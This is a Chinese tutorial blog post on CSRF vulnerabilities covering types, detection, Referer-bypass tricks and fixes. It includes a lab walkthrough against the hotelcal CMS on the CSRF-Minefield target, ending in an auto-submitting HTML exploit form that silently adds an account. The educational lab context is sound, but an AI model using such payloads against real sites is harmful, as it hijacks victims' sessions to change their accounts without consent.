zoukankan      html  css  js  c++  java
  • CSRF漏洞

    CSRF产生的条件

    一、被攻击者在登陆了web网页,并且在本地生成了cookie
    二、在cookie未过期的情况下,利用同一个浏览器访问了攻击者的页面。

    CSRF漏洞分类

    1、GET型
    GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。
    2、POST型
    POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

    CSRF漏洞危害

    未验证 Referer或者未使用有效的Token导致黑客可以利用受害者的身份操控浏览器。

    CSRF漏洞检测

    1、GET类型的CSRF的检测
    如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞。

    2、POST类型的CSRF的检测
    如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过。

    3、特殊情况的POST类型的CSRF检测
    如果上述post方式对referer验证的特别严格,有的时候由于程序员对请求类型判断不是很严格,可以导致post请求改写为get请求,从而CSRF。直接以get请求的方式进行访问,如果请求成功,即可以此种方式绕过对referer的检测,从而CSRF。

    CSRF漏洞修复方案

    1、添加随机token值,并验证。
    2、验证Referer
    3、关键请求使用验证码功能

    利用靶场CSRF-Minefield-V1.0漏洞复现

    这个靶机放置了存在CSRF漏洞的CMS。

    先看看hotelcal这个cms。进入到添加用户和删除用户的功能下。

    点击Create New Account来增加一个用户。填写好信息,然后点击save抓包。

    可以看到增加用户功能的数据包里面没有添加token进行csrf防护。

    利用burp的插件CSRF POC生成exp。

    将这段exp复制下来保存在kali的/var/www/html目录下,格式是html。

    kali开启Web服务。

    将前面的exp放在根目录下。

    访问exp。

    可以看到有一个按钮,当我们点击的时候就会生成一个用户。可以看到多出来一个新用户。

    删除用户功能也存在CSRF漏洞,利用方法和增加用户一致。
    burp生成的exp有一个按钮,需要受害用户点击,改一下exp,改成直接访问链接就直接增加一个用户。

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body onload=document.getElementById('ese-csrf').submit()>
        <form id="ese-csrf" action="http://192.168.88.161/hotelcal/admin/add_account.php" method="POST">
          <input type="hidden" name="name" value="ese" />
          <input type="hidden" name="username" value="ese" />
          <input type="hidden" name="password" value="ese123" />
          <input type="hidden" name="add&#95;account" value="" />
        </form>
      </body>
    </html>
    
  • 相关阅读:
    树莓派服务器搭建
    设计模式之装饰者模式
    设计模式之建造者模式
    Java IO
    设计模式之抽象工厂模式
    常用排序算法(堆排序)
    Struts2框架简介和示例
    静态代理和利用反射形成的动态代理(JDK动态代理)
    常用排序算法(插入排序,快速排序,归并排序,堆排序)
    设计模式之简单工厂和工厂方法模式
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/14188288.html
Copyright © 2011-2022 走看看